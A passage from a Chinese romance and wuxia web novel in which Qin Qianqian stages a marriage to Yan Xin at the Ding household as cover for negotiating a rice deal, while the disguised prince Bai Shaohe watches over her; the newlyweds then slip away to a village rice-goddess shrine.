在丁芮熠举棋不定的时候，一位看着十分儒雅、甚至有些书卷气的妇人从后堂走了出来。
从她脸部的皱纹来看，约莫有三十多岁，最多不到四十的样子。
这也是晏信第一次见丁芮熠的夫人——宣聆凤。不过在此之前，他早就有所耳闻：丁家两位夫妻那是夫唱妇随、举案齐眉的典范。
可谁知听客栈老板说，她们近来在闹不愉快？晏信还在沉思的时候，宣聆凤面带笑容地走到丁芮熠的身边，朝她们两个人开口。
“两位，先进府中歇息一下吧，婚事待会儿再详谈。”
丁芮熠事无巨细从不欺瞒宣聆凤，所以她知道这是晏阳宏的儿子，她也懂丁芮熠为什么犹豫。
“那就恭敬不如从命了。”秦千千巴不得进府，她拉起晏信的手，跟在她们身后进了府。
丁芮熠心事重重地走在前面，宣聆凤跟秦千千并行，一脸关切地询问她的情况：几年生人、家住何处、家中还有哪些人，诸如此类的问题。
秦千千对答如流，谈话间，她觉得这宣夫人心性纯善，着实是个贤内助啊。
就是希望这贤内助，待会儿不要误会她才好。
最近几日没什么特别好的良辰吉日，因此，宣聆凤提议让她们在府中住两天。后天算是一个小吉日，也是能最快办婚事的日子。
况且丁家已经良久没有操办婚事了，什么东西都得提前准备，那也是需要一些时间的。
宣聆凤解释的一清二楚，晏信也听得认真。他心中其实是觉得越快越好，毕竟，谁也说不准会不会有突发的变故，打断他的这桩好事。
秦千千看着他眼中有些犹豫，就笑着往他肩头歪了下，开口安慰他：“放心吧，没什么能打断我们的好事的。”
晏信看着她认真坚定的眼神，就立马点头赞同。她既然这么说，
那就万万不会哄骗自己。
一旁的宣聆凤投来赞许的目光，想当初她和丁芮熠也是如此这般，看到现如今的她们，就仿佛看到了曾经的自己。
“那夫人就安排她们先住下吧。聆凤，晚上嘱咐伙房多做点菜，给二位接风洗尘。”丁芮熠眉眼舒展，温柔地跟宣聆凤说。
秦千千察觉，不是自己的错觉，这丁芮熠跟自己夫人说话的时候，眉眼中满含爱意。她不由得好奇，这两个人能为什么争执呢？
宣聆凤无声点头，正准备带着她们去卧房的时候，丁芮熠却伸手拉住了她。
“聆凤，我们晚上可以谈谈吗？”他的声音又温柔了一分，秦千千和晏信都不太好意思站在宣聆凤身边了。
就在她俩为丁家两口子的情谊心中赞叹的时候，谁也没有想到，宣聆凤毫不犹豫的拒绝了。
“芮郎，那事我们没什么好聊的了，你觉得呢？”她盯着丁芮熠，似乎有些不耐烦地挑眉。丁芮熠认命地点头，宣聆凤这才带着她们离开。
这下秦千千可是好奇的不行了，“那事”是什么事？她原本是想不到这两个有情人，能吵架到无法待客的。可经过刚刚那微妙的两句对话，她有点能想象到了。
不过比起八卦，还是生意比较重要。她悄悄收紧握着晏信的手，接收到暗示，晏信按照原来的计划惊呼出声。
“哎呀，我忘记告诉丁老爷，千万不要把我的踪迹告诉我爹了！”
宣聆凤闻言转头，脸上却是没什么大不了的表情，“晏公子放心，且不说我们不会做那种事情。就算是我们想，你爹还会跟我们来往吗？”
这……
秦千千没想到，这宣聆凤还是个性情中人啊，这摆明了就是为之前晏老爹斥责她夫君鸣不平吧？她也有样学样，护起了晏信。
“宣夫人这话说的在理，只不过那是他家老头做的孽，他现在都跟家里决裂离家出走了，希望夫人不要再揶揄晏郎了。”秦千千言辞恳切，说完还含情脉脉地看了一眼晏信。
晏信悄悄攥紧了背后的手，他现在鼻子微酸，心里感动得一塌糊涂的。虽然知道这是逢场作戏，但他依旧被感动了。
宣聆凤失笑，“好好好，秦小姐放心吧。若是你们不放心，再找他说一遍就是了。”她没有生气，只是觉得有些好笑。“晏公子可算是觅得了良人啊！”
这话听得晏信害羞地笑，秦千千却在心里无奈吐槽，他怎么不按照原先说好的演戏呢？明明这个时候，他要嘱咐自己去找丁芮熠的啊！
在隐蔽房顶站着的白邵禾与元德，也都不约而同的皱起了眉。
“蠢钝不堪。”
白邵禾对人的评价向来是毒辣客观的，而且身份使然，他很少要迁就别人的脸面什么的。
像这样的锐平，他往往都是直接当人面说的。只不过现在为了接近秦千千，收敛了自己的锋芒。
元德身心舒畅地点头，这才是他熟悉的殿下。
可他话音刚落，那边的晏信就像听到了一般，立马回过神来。他的手摩挲着秦千千的肩头，轻声细语地跟她说：“那千千，你去跟丁老爷再说一声吧。”
目的达成，秦千千心满意足地回去找丁芮熠，晏信目送她到看不见背影，才回过神，发现自己晾着宣夫人很久。他赶忙道歉，请夫人去旁边的廊亭小坐。
宣聆凤看得出来，他是要在原地等秦千千，就笑着让他放心。
“我们家仆人虽然少，但肯定会有人引她去找你的。不过你既然不放心，那我们就在这里等他，你也不妨跟我说说，是怎么认识这么漂亮的小娘子的。”
他浅浅一笑，从初识开始，给宣聆凤讲起他和秦千千的故事。白邵禾翻了个白眼，示意元德跟他走，去看秦千千。
谁知两个人还没动身，那边的秦千千就慌张地跑了回来，“不好了不好了！丁老爷晕倒了！”说着，她被地上的盘虬裸露在地面上的树根绊倒，往前面扑去。
白邵禾倏然身躯一震，下意识地往前伸了伸右手，可立马察觉不妥，立马右手攥拳背到了身后。元德质感鼻观眼眼观心，假装自己什么都没看到。
晏信反
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应迅速，立马飞奔过去接住秦千千，两个人撞了个满怀。秦千千处于紧张，双手紧抓他的臂弯。晏信稳住身形后，借力往左转了半周。
衣袂翻飞，青丝飘扬。
她如瀑般的长发不受控制地摆到右肩，鬓角的几缕头发也凌乱地贴在左脸。晏信站稳后，抬手替她拂去脸边的碎发。
或许是抬眸看到他眼中的深情，秦千千不知所措地偏过了头。宣聆凤在这里，她不好一把推开晏信，只好偏过头。
可好巧不巧的是，从宣聆凤的角度来看，她好像羞恼地钻进了晏信怀里。
宣聆凤嘴角噙笑，这两人可真是天造地设的一对儿啊！可又想起她刚刚说的话，笑容又僵在脸上。可眼下，打扰人家二人又着实不好……
秦千千清了清嗓子，晏信缓缓放开她，她这才有空跟她们说刚才的情况。为了节省时间，三个人朝丁家的卧房急匆匆地走去，边走边说。
她刚刚看到丁芮熠的身影，就喊了他一声。谁知丁芮熠刚回头，就突然晕了过去。丁二牛眼疾手快，这才没有让老爷直接倒在地上。
“然后你们管家就说让我来告诉夫人，他先把老爷带去卧房了。”
宣聆凤捂着心口大喘气，看得秦千千心惊胆战的。她立马过去搀着宣聆凤，心中狐疑不已。
没想到，夫人身体还不大好啊！不过丁家家大业大的，怎么不给夫人备两个随身丫鬟呢？
白邵禾一抬下巴，元德知道这是要回去了。至于为什么回去，他不敢妄加揣测。
他们出了丁府，就从街市上大摇大摆走回去的，顺路还买了桃花花和王老怪让带的东西。
两个人刚到客栈房间，后脚晏信就跟了进来。他神色慌张，进屋看到桌边正分食糍粑糕的众人，赶忙走到她们身边。
“哎？晏兄你怎么自己回来了？”王老怪慌忙地往嘴里塞一块儿糍粑糕，含糊不清地问他。
“不好了！丁老爷昏倒了，千千让我过来叫你们过去。王老怪，你快点过去给丁老爷看病。”
王老怪一个震惊差点没噎死，桃花花赶忙给他拍后背，只不过在手劲里加了两分恩怨。
缓过劲儿来后，赶忙逃离魔爪，扑向晏信身前。与秦千千刚刚和自己的际遇相仿，但现在眼前的人不是秦千千，而是随时会发疯的王老怪。
他双手抓住晏信的胳膊，使劲儿的前后摇晃他：“你疯了还是那瓜娃子疯了？我刚去丁府行过骗，去不久暴露了吗？”
“……放心，你去没有见到老爷夫人任何一个人，她们也不会认出你的。”
王老怪和晏信轻车熟路地带着其他人到了丁家，穿过长廊直接去了卧房。
救人要紧，别的礼数都顾不上了。
屋中的宣聆凤左等右等等不来人，她就派丁二牛出去看看。
秦千千也是慌乱之中忘记阻拦他，毕竟丁二牛是这府上唯一一个见过王老怪的人。
丁二牛刚转过回廊，就跟晏信他们一群人碰了个正着。
67. 风雨飘摇的丁家
“哎呀，晏公子，你们可算是回来了！”丁二牛赶忙侧身给他们让出位置，出于礼数，他并没有打量这些客人。自然也就错过了辨别王老怪的机会。
只要第一面没有认出来，那王老怪的心就放了下去。他进屋后直接给丁芮熠搭脉诊病，甚至没有先给宣聆凤行个礼。
“无妨，他就是急火攻心被气晕了。歇息一下，自己就醒了。”王老怪拿出神医的做派，故作深沉地问：“夫人，我能问一下这是为什么吗？”
宣聆凤眉头微皱，无奈地摇摇头：“大夫，这事情我不能说。”而后，她又歉疚地朝他鞠几个躬，摆手让管家拿点赏钱。
却被秦千千拒绝了。
“夫人，我们就是行迹江湖的一群人，银子你们还是留这给需要的人吧。”秦千千终于回味过来，她横插进王老怪和宣聆凤中间，顺带推搡了一把王老怪。
这人真是没有一点自知之明！哪怕丁二牛刚刚没认出来他，待会儿再次给他钱的时候，万一想起来什么，那到时候怎么办？
出于这个考究，秦千千只能把王老怪挤出宣聆凤视线。宣聆凤没有察觉到她们的暗流涌动，只邀她们外出坐坐。
屋中只留丁二牛在照看老爷，宣聆凤还差人通知伙房准备做饭，不管老爷醒不醒，接风宴都是一定要进行的。
在茶室落座后，秦千千给宣聆凤一个一个介绍她的伙伴，当然是适度润色过的背景。
比如桃花花，就是她邻家小妹；元德也不能是她的仆人，而是路途偶遇的侠义之辈。
“这位是白邵禾白公子，也是我在沿途中结识的同伴，相识过程跟晏信差不多。”
她绕桌子一圈，介绍到谁就站在谁的身后，轻拍他的肩膀。所有人介绍完毕后，她又坐回晏信身边。晏信和她相视一笑，演技可谓是十分出色。
宣聆凤嫣然浅笑，果然，能到喜结连理的人，的确会比和其他友人更有默契一些。
平时丁家就是两个人掌事，宣聆凤也很有掌事的手段，因此她有条不紊地安排好了接下来的计划。
今日晚些找裁缝过来给他们做喜服，明日筹备拜堂的礼堂和新房，后天就可以完婚了。
宣聆凤没告诉她们的是，自己算是给晏公子和秦千千开了先例，之前都没有专门找裁缝做量体定裁的喜服的，而是她们府上备了几套大小的喜服，新人挑选一件合适的就行。
这次给她们重新订做，算是下了血本了。一是她真的像祝愿这对新人，二是作为未来晏家的主人，她希望晏信可以不要再跟丁家作对。
秦千千一听满意的的不得了，她主要是满意在，这些东西不用自己费时费力。她只需要在丁老爷醒来后，有机会跟他谈谈生意就好了。
这个时间没让她等太久，傍晚她就找到了机会。
丁芮熠醒来的时候，晚饭都还没做好，宣聆凤听到消息过去看他。众人这才有独处的机会，桑风雪欲言又止，白邵禾索性说出他的看法。
“千千，你既然是想跟丁老爷学做生意，既然见到他了，怎么不直接跟他挑明真相，直言请求呢？”为何还要多此一举，让他们筹办婚事呢？
后半句白邵禾没有问出口，但也恰恰是他最想问的。
秦千千神色错愕，但也只有那么一瞬间，转而她就笑着回答：“宣夫人实在是太好了，我不忍心告诉她，不想让她失望。而且，这种在客乡大婚的事情，体验一次也是挺好的嘛。”
“这话说的倒是没错！”王老怪右手拢在嘴边，小声继续说：“这还是我第一次直接坑到十两银子！”
众人都无语到笑出声，桑风雪还提示，让他小心谨慎点，别被人发现了。
白邵禾心中的疑惑还是没有解开，他还是非常疑惑，难不成，秦千千是真的想跟晏信完婚？
不，她之前明明斩钉截铁地拒绝过他。
朝夕相处下来，他也没发现什么，能让她态度突然转变的事情……白邵禾眼神复杂地看向秦千千，他最讨厌的迷惘又爬上心头，压得他有些喘不过气来。
晚宴丰盛，可见丁家待人接物还是很真诚的。
宴席上，话题自然还是围绕着行侠江湖展开的。中间又聊起秦千千和晏信的初遇，不过这次换了个角度，而是秦千千讲起那天的故事。
“我们只是在荒郊野岭的包子铺遇见一面，结果在下一个镇子，他就在那里的等候我们多时了！当时我就在想，这真是莫大的缘分啊！”
丁家夫妻俩听得是津津有味，知晓真相的人则是一个个都忍俊不禁，连白邵禾都在心中浅笑。
白邵禾记得清楚，当时她明明烦得不行，后面还在客栈里明示晏信不要跟着他们。她不愧是讲故事卫生的人，颠倒黑白这一方面，真是有一手的。
晚饭过后，他们都熟络起来，在宣聆凤的提议下，众人这才开始饮酒作乐。
桌上不喝酒的人，从只有秦千千一人，又增加了两位。一位是借伤口不喝酒的白邵禾，另一个则是丁芮熠。
“各位，我真是的是不胜酒力，所以请夫人替我代劳吧。”他转头看向自己夫人，宣聆凤微笑点头，抬手端起了桌上的酒杯：“浊酒一杯，祝各位鹏程万里，逍遥自在。”
几轮酒后，打更声传来，戌时一刻了。
丁芮熠先行离席，说是去做夫人交代的事情。白邵禾知道，他这应该是去找裁缝了。剩下的人也都在秦千千的提议下，回房休息了。
也是直到晚上，才有两个丫鬟出现，跟秦千千一同把宣聆凤扶回屋。安顿好宣聆凤后，秦千千才回房。
桑风雪久违地放松精神，于是今日稍微有些贪杯。桃花花不想自己住，就非要跟她一间房。秦千千过去看她们两个的时候，发现她们已经睡下就没有再进屋打扰她们。
约摸着过了两炷香的时间，丁芮熠带着一位裁缝出现，说是先给秦千千裁衣。尺寸量的很快，收工后丁芮熠要直接离开，却被秦千千叫住。
“丁老爷，我想跟你聊两句。”
两个人漫步月下，在潺潺水声的掩护下，秦千千这才聊起了她的计划。
“不知道丁老爷年年的茅安香米，有没有富余的份量。”
牵扯到生意，丁芮熠是毫不含糊。他警
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觉地环顾四周，这汪池子周围视野开阔，有没有藏人一看便知。
“秦小姐这是什么意思？”他十分疑惑，总感觉眼前这人有哪里不一样了。气场或者是什么的，丁芮熠说不上来。
“我就是想跟丁老爷谈桩生意，要是效果好的话，我愿意每年采购固定份额的茅安香米。”
丁芮熠这才恍然大悟，原来她不是来这里求办婚事的，而是来找自己合作的。生意固然重要，但他也是很看重别人的人品的，因此他表情稍显不悦。
此举可是把他和夫人耍得团团转！
“秦小姐，不管多大的生意，我丁某人说不做就是不做！你们诓骗我们在先，我认为我们已经没什么可聊的了。”
“我要说我能解决丁家现在的难题呢？”秦千千郑重其事地说。
她不是来这里挑事儿的，如果她们能达成一致，将会是两方获益的事情。丁芮熠不信她一个小丫头，能对他们的困境有什么助力，就让她不要再哄骗别人了。
看来不拿出来点真消息，是没办法说服他了。秦千千长叹一口气，跟他分析起局势。
近三年，茅安香米在江湖上有口皆碑，他的生意甚至做到了很多豪门贵族家中。也招致很多人的记恨，其中就包括制霸江湖的四大米行。
原本四大米行是互相制衡，谁也不能从中脱颖而出。那种微妙的互相牵制，覆灭于茅安香米的脱颖而出。四大米行也一反常态地暗中结成同盟，准备用计策拖死丁家米铺。
他们也不是上来就要鱼死网破的，毕竟，能合作为什么要两败俱伤。
“我想他们给你下的最后通牒，就是晏阳宏吧？”秦千千三言两语，就分析出他们家现在风雨飘摇的现状。
丁芮熠诧异地长大嘴巴，她是怎么知道的这么清楚的？还没等他开口询问，秦千千就继续问，他准备作何应对，他清楚接下来要面对什么吗？
“无非就是他们降粮价，想以这种方法耗死我们罢了。”
“罢了？”秦千千没有嘲讽的意思，但听到他轻飘飘的尾音，还是有些不可思议了。“夫人跟你生了这么久的气，你还是没有听懂夫人的意思啊。”
丁芮熠在这件事情上，跟夫人宣聆凤的意见完全不同。他觉得自己允诺过农户，收粮价格他不愿意降下去。可宣聆凤察觉这不是长久之计，只怕到时散尽家财事小，香米囤积在手里卖不出去可怎么办？
他焦躁地来回踱步，仿佛置气一般跟秦千千说：“我就不信他们能不计成本地跟我耗下去，他们的钱不是钱吗？而且粮价是朝廷管控的，到时一定会有官员干涉的。”
太天真了。
秦千千无情地开口：“若我是他们，我会跟你死磕到底。你丁家倒了，到时候这茅安镇不依旧任他们宰割？更何况，粮价稍有下降，朝廷才不会管。哪怕会管，也会格外照顾常年供奉他们的人吧。”
出于酒楼协议，秦千千没有告诉丁芮熠，四大米行设定的最低粮价。那个价格一出，绝对拖得死整个茅安镇。
“而且我不是要诓骗你们，我只是为了圆晏信一个心愿而已。”
68. 新婚之夜被掳走
秦千千早就看明白了，之前的拒绝对晏信来说，毫无意义。他是不达目的誓不罢休的那种人，因此，那就如他所愿一次。
“日后我若遭遇不测，他这算是此生无憾了。”
丁芮熠心下一惊，好端端的人站在这里，为什么说的话却如此悲凉。
“秦小姐可谓是手眼通天之人，怎么会遭遇不测呢？你千万不要那么想。至于晏公子，我觉得他总会有明白你意思的一天。”
听到他的慰藉，秦千千长叹了口气：“但愿如此吧。”
两个人又在湖边伫立了一刻钟，这一刻钟，元德没有听到她们说一句话。可再听到言语时，丁芮熠说送她回去。
元德无奈，但只能悄然离开。好在白邵禾根据他听到的线索，也将真相猜的八九不离十了。
秦千千肯定是要买下来一部分的茅安香米，再通过一些别的手段，帮他渡过难关。
四大米行在此事上的筹谋，白邵禾早就知道。这种事情他们肯定要知会朝局之人的，他就是那是收到的消息。
当初他以为这就是简单的生意人合纵连横，去吞并相关的产业，再加上降低粮食价格，于国于民，都是一件好事儿。白邵禾着实没想到，这里居然还能牵扯到秦千千。
“那公子，我们需要查明这个计划究竟是什么吗？”
行至茅安镇的确是个意外，连秦千千的自己人都没有反应过来，白邵禾的暗卫也都没有提前进驻这里的机会。
在秦千千她们到了之后，白邵禾就勒令暗卫不许出现在这里，稍有不注意，就容易被她发觉不对劲儿。因此，茅安镇现在的桩桩件件，都得他和元德亲力亲为。
白邵禾摇头：“这事没什么重要的，我原本以为这茅安香米，就是她们清风酒的原料。现在看来，是我失算了。”
茅安镇之行，应该是她背离姜千秋设好的路线，自作主张跑过来的。这也解开了他心中的另一个疑惑，为什么来了茅安镇之后，时间紧迫起来。
可她执意跟晏信完婚，白邵禾却怎么也想不明白。哪怕是听到她亲口说的那句——圆他一个心愿，他也不明白。
晏信什么时候跟她好到这种程度了？他百思不得其解，看了眼身边更不解风情的元德，他心中颇为无奈。
不过除了元德，自己也没别人可以谈心，他就给元德倒了杯水，放到他面前。
“你不妨说说，她为什么一边说着时间紧迫，一边却又要等到后天完婚。”白邵禾轻飘飘说出来的话，让元德差点原地跪下。
感情这种事情，他真的是一窍不通。更别说要分析的人，还是秦千千这种游刃有余的老狐狸。
元德一脸为难地看着白邵禾，可殿下表情认真，完全不像是跟他开玩笑的样子。元德只能硬着头皮，说出自己的拙见。
“我觉得应该是为了掩藏她和丁芮熠的生意，毕竟传出去的话，大家也只会讨论她的婚事，谁会知道夜半人静的时候，她还在这里跟人谈合作呢？”
“那悄悄来岂不是更好？办喜事这种大张旗鼓的事情，有心之人随便一打听，就打听出来了吧。”
“这么说来，她应该就是真的觉得亏欠晏公子的吧，就像她说的，满足一下他的愿望。”
“可是她也没做什么亏欠晏信的事情，这一路上，她难道还不够照顾晏信的吗？”
元德抬手挠头，他是真想不出什么别的原因了，“公子，有没有可能是她真的想嫁给晏公子？”
他很少有这种破罐子破摔的时候，毕竟他不敢。可现在元德头都要挠秃了，却实在想不出别的原因。
谁知白邵禾沉默着看了他一眼，而后一言不发地思考。元德就在一旁如坐针毡，好在窗外传来脚步声，有人来解救他了。
秦千千出于礼仪，先轻轻叩门才小声问他们，睡了没。
白邵禾起身开门，面色微冷地问她：“有什么事儿吗？”
“没事，我就是想来看看你的伤势如何……元德，你怎么也在这里？”
进了屋，秦千千才看到屋里站着的元德。元德刚被白邵禾的致命问题摧残过，现在脑子明显不够用了。他嘴巴张了张，却没有想出好的借口。
白邵禾眉头微蹙，招呼秦千千坐下，“我叫元德过来给我换药的，后天的婚事准备的怎么样了？”
她显然没有反应过来，疑惑地歪头看着他，仿佛没听懂话里的意思。白邵禾心中也有稍许懊悔，自己不该问这个的。
“啊……，那个全靠宣夫人安排了，我不需要做什么。对了元德，你赶紧回去休息吧，我要跟白公子说两句话。”
收到脱身令的元德，立马起身离开。出了厢房，他久违地捂住心口，大口出气。
不知道是不是他的错觉，他总觉得，今天晚上殿下和秦千千都有些奇怪。但他不敢深究，生怕发生上次差点被殿下训斥的事情。
什么男女情爱，殿下最厌烦的就是那一套。
秦千千伸出一直藏在袖子里的左手，摊开手掌，掌心躺着一瓶云青色的瓷瓶。那是上次她被贼人砍伤的时候，就给自己涂过的白艿粉。
“俗话说，一两白艿一两金，百岁白艿赛人参。我这瓶就是百年的白艿研磨成的白艿粉，用来治疗伤口再好不过。”
她一边帮白邵禾褪去右半边的衣服，一边跟他解释。白邵禾失笑，自己的伤口都快好了，用不上这么好的东西。
秦千千稍显不耐地“啧”了一声，那表情白邵禾熟悉，他自己在朝中常常是这个表情。
“邵禾兄，药再金贵也没有人的身体金贵，人嗝屁着凉，那就什么都没有了。”她轻声细语地说话，手上则是沿着伤口慢慢撒药粉。
白邵禾抬眸看着她的动作，不免觉得好笑。看得出来这药很金贵了，她甚至怕大声说话把药粉吹飞。
或许是刚刚她那一通夸大其词的吹嘘奏效了，药粉刚刚洒在伤口上，他就觉得那个地方痒痒的，仿佛皮肉在加速愈合。
不一会儿，她就上好药，还把伤口包扎好了。而后她端庄地坐在白邵禾旁边，他一看就知道，这人有事儿求自己。
“千千，你还有什么事情吗？”
难得看她为什么事情踌躇半天，白邵禾不愿看到她再纠结下去，就直接问了她。秦千千浅浅叹了口气，沉重地点头。
“邵禾兄，这事儿也就只有你帮我了，而且你的伤口千万得好！”
他神色一凛，原来她给自己包扎，是为了使唤自己啊！
好一个临时抱佛脚。
倘若别人如此利用他，白邵禾可能会生气。可不知为何，他眼下就觉得有些想笑，笑她不懂把心思藏得再深些。全然没有恼怒之情。
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“嗯，你说。”
“我这两天若是有什么意外，我只希望你记住，千万不要来找我。不仅你不能来，你还要帮我拦住要去找我的人。”
她说的郑重其事，却把他听得一头雾水。
这还是万分惜命的秦千千吗？她明明知道落到那种地步，她很有可能会是什么下场。可她居然拜托自己，不要去找她？
白邵禾眼神复杂地看着她，几乎是瞬间，就给出了答案：“这个我不能答应你。”话说出口，他就有些后悔了。
严格来说，她若身陷囹圄，那就是引诱姜千秋现身的最佳机会，他理当接受。
可自己怎么会果断的拒绝呢？他来不及细想，秦千千也没给他机会思考，她用力咬着下嘴唇，脸上愁云密布。
“白公子，就算我求你了。”
同行至此，白邵禾还是第一次见到她这副泫然若泣、弱小无助的模样，他实在说不出拒绝，只能沉默着点头。秦千千顿时喜笑颜开，临走前还安慰他，自己肯定不会出事儿的。
星沉月落，白邵禾躺在床上久久难眠。
每当他闭上眼睛，脑海中全是她被人割喉，满身是血地躺在自己臂弯的画面。比这更血腥百倍的画面，他都见过。
可唯独这一幕，让他每每想起，都心悸不已。
就这么让他担忧一晚上的人，第二天欢欢喜喜地出现在他面前。秦千千还笑着跟他打招呼，他还没说话，丁芮熠和宣聆凤就一同落了座。
看着宣聆凤欣慰又克制的眼神，秦千千就知道，丁芮熠肯定是什么都告诉自己夫人了。
她就知道会是这样！所以她昨天跟丁芮熠分开时，还让他代自己跟宣夫人说句抱歉。
宣聆凤热情地给她夹菜，跟她聊天，看来是没有把那些小过节放在心上。
餐桌上气氛融洽，众人都喜笑颜开的。唯独白邵禾，紧绷着那根神经心事重重。
就这样，慌乱但有条不紊的一天过去，晚上躺在床上的白邵禾，骤然放松紧绷一天的精神，很快就被困意打倒，沉沉睡去。
再度醒来，丁府已经张灯结彩，热闹非凡了。
这也是白邵禾首次完整观摩一次婚事，接亲、拜堂、送入洞房，每个环节他都表情淡然地看着。
也就这个样子，简陋而又繁杂的仪式，秦千千真的会喜欢吗？白邵禾心里觉得她一定不喜欢，她那种人，自在的像一阵风，怎么会向往这种繁文缛节？
今日的秦千千，一早就穿上婚服盖上盖头，白邵禾一整天都没有看到她的喜冠，还有新娘独有的描金画凤的妆面。
描金画凤，还是他听桃花花说的。那是一种新娘的妆面，眼尾处用金粉勾勒出两道交缠的凤凰尾羽，再施以粉黛作配，据说好看极了。
听罢这个说法，白邵禾有了最期待的事情——那就是看看她今日的装扮。
可大家都在等新郎新娘出来敬酒的时候，却久等不见人影。
白邵禾心中暗道不好，率先一步冲进新房，却发现两个人都不见了。随后而来的人也都乱了阵脚，桑风雪攥紧手里的刀鞘，脸色煞白。
“邵禾兄，咱们分头出去找人吧。”桑风雪提议。
“好。”白邵禾想都没想，直接瞒下了秦千千的嘱托。
比起食言，还是她的安危更重要。
69. 那是晏信此生最幸福的一日^^……
晏信说要带她离开的时候，他原本以为秦千千怎么也会疑问一下，或者问一问到底要去哪里。
可她却什么都没有问，非常爽快的答应了。
秦千千知道茅安镇，对于晏信来说最特殊的地方在哪，但她不想提出来扫兴，就任由晏信带着自己前往那个地方。
当初，晏阳宏带着晏信过来谈生意，本意是带着他学一些经商手段。可丁芮熠态度强硬，完全不愿意跟晏阳宏同流合污。
晏家父子吃了闭门羹，晏阳宏当即就要离开茅安镇，可就是在那时，晏信不见了。
他跑到田间地头，看人种稻谷、收稻谷，就这么越走越远，走到了一处小村子里。村子里可能有一二十户人家，人虽然不多，但都非常质朴。
他随便一打听，就打听出有关村子的趣事。
首先，村子叫神佑村，寓意神仙保佑的村子。而那位伸，还有自己的神殿——稻神殿。
晏信当即表示要去拜拜，当地人口中那位，百年前降下神迹的稻婆婆。
“小伙子，我们村的稻婆婆可灵了呢！你去求求姻缘，也保准能行的。”给他指路的妇人，笑着打趣他。
彼时，晏信心中真是有个意中人。他就是想去找那知晓天地事的人，跟她坐而论道。可具体要论什么，他心中却没了主意。
眼下，他带着秦千千，一同前往稻神殿。两个人都是喜服着身，纵使在夜幕掩饰下，也十分引人注意。
神佑村常年往来的人不多，但凡有外面的人来，村民们都能记得住那人的大致相貌。再加上，晏信月余前刚来过这里，一路上认出他的人可不少。
“哎呀，晏公子，你是带着新娘子来稻婆婆那里，还愿的吧！”
晏信不再掩藏嘴角的喜悦，他笑着点头：“是啊，我得来好好谢谢稻婆婆。”说罢，他回头望着秦千千。
凤冠太重，于是晏信早早替她拆下头面，这才带她从婚宴上离开的。比起今日精致的妆容，她盘式整齐、却又不施钗簪的头发，就稍微美中不足了些。
察觉到他的目光，秦千千有些不解地问他：“是我的妆面花了吗？”
难得看她倏然慌乱，晏信抓住她要抚上侧脸的手，语气温柔地否认。
“娘子花容月貌，那些表面功夫，只是锦上添花罢了。”
不管这是真话假话，反正听得秦千千高兴，她就任由那人牵着自己的手，朝稻神殿走去。
夜色微凉，两个人走着走着，晏信就发觉她的手冰凉，便直接揽上她的肩膀，把人拥在怀里。好在稻神殿不远，没一会儿就到了。
秦千千看着眼前的泥巴庙，不由得失笑。
“我们两个应该带些供果来的。”她语气惋惜。路上听到晏信说，他曾经有求于稻婆婆，现在心事已了，自然得过来拜谢一下。
今晚的晏信深沉又稳重，他揽着秦千千进了小小的泥巴庙，“婆婆不会介怀的。”
借着昏暗的两盏灯光，她才看清楚，供桌后面根本没有什么神像，有的只有一把稻谷种子。晏信歪头看到她疑惑的神情，嘴角微微上扬。
“看来，不只是我一个人是这种反应啊。”
当初他也被震惊到了，虽说佛无法像，但像这种连个神像都没有的庙宇，他也是第一次见到。
以至于，他在心中许愿的时候，甚至都没有跪下好好给稻婆婆磕个头。现在，不能再这个样子了。
秦千千晃了晃两个人十指相扣的手，问他还不能告诉自己，他当时在这里许的是什么愿吗？晏信让她不要急，晚些会告诉她的。
供桌前有一个稻杆盘旋扎制而成的膝垫，可是只有一个。
晏信直接跪在一旁，用眼神示意秦千千跪在膝垫上。秦千千向他投去满意的目光，扶着他抬起的手慢慢跪下后，晏信开始跟稻婆婆，也是跟秦千千，说起了那天的事情。
“最近两年，我爹常常带着我外出，在他们聊生意的只言片语中，我发现你是一个很厉害的人。”说到这里，他转头看向秦千千。
她眉尾上挑，丝毫不意外。江湖上，她的故事可真不少，像他爹那样的生意人，的确免不了跟她打交道。
“然后呢？”秦千千虽然不着急，但看到他那眼含温情的眼神，还是有些招架不住。
“然后我就未见人面，但已倾心。”他还是维持着温柔如水的目光，盯着秦千千。她扑哧一笑，用红绸袖口挡住了嘴巴。
“你是说，你对秦老板倾心，然后又被路上的秦千千给吸引，直接放弃进京找秦老板了？”说完，她隔岸观火般戳了戳晏信的胳膊，让他从实招来。
晏信只能勉强自圆其说：“当时秦老板对我来说，毕竟是镜花水月，可望而不可及。而且我承认，看见你的第一眼，我就决定要跟着你了。”
谁承想上苍眷顾，眼前人正是他所谓可望而不可及的人。
秦千千当他勉强过关，就眼神示意他继续往下说。
“当时我在这里许愿，此生一定要跟你坐而论道的，哪怕只有一天，我死也瞑目了。”
谁知听到这里，她却肉眼可见的不开心起来，甚至脸色都变得难看了。晏信不知道怎么了，正准备问她，她自己嗔怪地责备他。
“好歹也是大好日子，你就这么说什么死不死的，以后不要这样晦自己。”
这一瞬间，晏信有了一种错觉，她好像真的就是自己善解人意、贤良淑德的妻子。他沉溺于这种感觉之中，忘乎所以。
回过神来，他郑重地向她保证，以后不会再这么说了。而后他就谢过稻婆婆，让他美梦成真，还求婆婆保她一世平安。
秦千千心中不免苦笑，他也太会为难稻婆婆了，自己的处境，她还是清楚的。日后免不了有灾祸降身，这是万万不能幸免的。
比起这个，她还是求点别的吧。
“希望稻婆婆可以保佑你，日后征程坦荡，万事顺意。”她也双手合十，缓缓说出对晏信的嘱咐。
而后晏信拉她起身，两个人躺在稻神殿后面，不远处的一处草地上。两个人看着星星聊天，秦千千还毫不顾忌地躺在他的胳膊上。
月明星稀，但两个人却越聊越精神。从为人处世到圣贤哲理，两个人几乎是无话不谈，而唯一不变的是，秦千千一直在解答他的疑惑。
在她沉沉睡去的时候，晏信下
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定决心，逃避不是办法，他要回去面对自己厌恶的爹，和自己之前无法改变的现状。
不过在启程前，他还有那么几个时辰的静谧可以度过。
天蒙蒙亮的时候，白邵禾终于赶到这里，昨夜他们在城中晕头转向忙了一晚上，还是没有找到任何线索。亦或者，找到的都是错误的线索。
当时他就懂了，秦千千肯定做了两手准备。一是交代自己别去找她；二是有她指点晏信，不留下什么线索给他们，也不是什么难事儿。
镇口第一家包子铺天不亮就出摊，白邵禾福至心灵过去询问那个大娘，大娘还真指了个方向，说是昨夜有两个身着喜服，朝那边去了。
巧的是那个方向只有一个村落。白邵禾没有通知任何人，独自前往。行至村中，又遇到路人之路，一路赶往稻神殿。
在屋后发现两个人时，白邵禾终于松了一口气。而把外衫批给秦千千，自己支起一条腿胳膊搭在上面的晏信，看到来人时，朝他比了个噤声的手势。
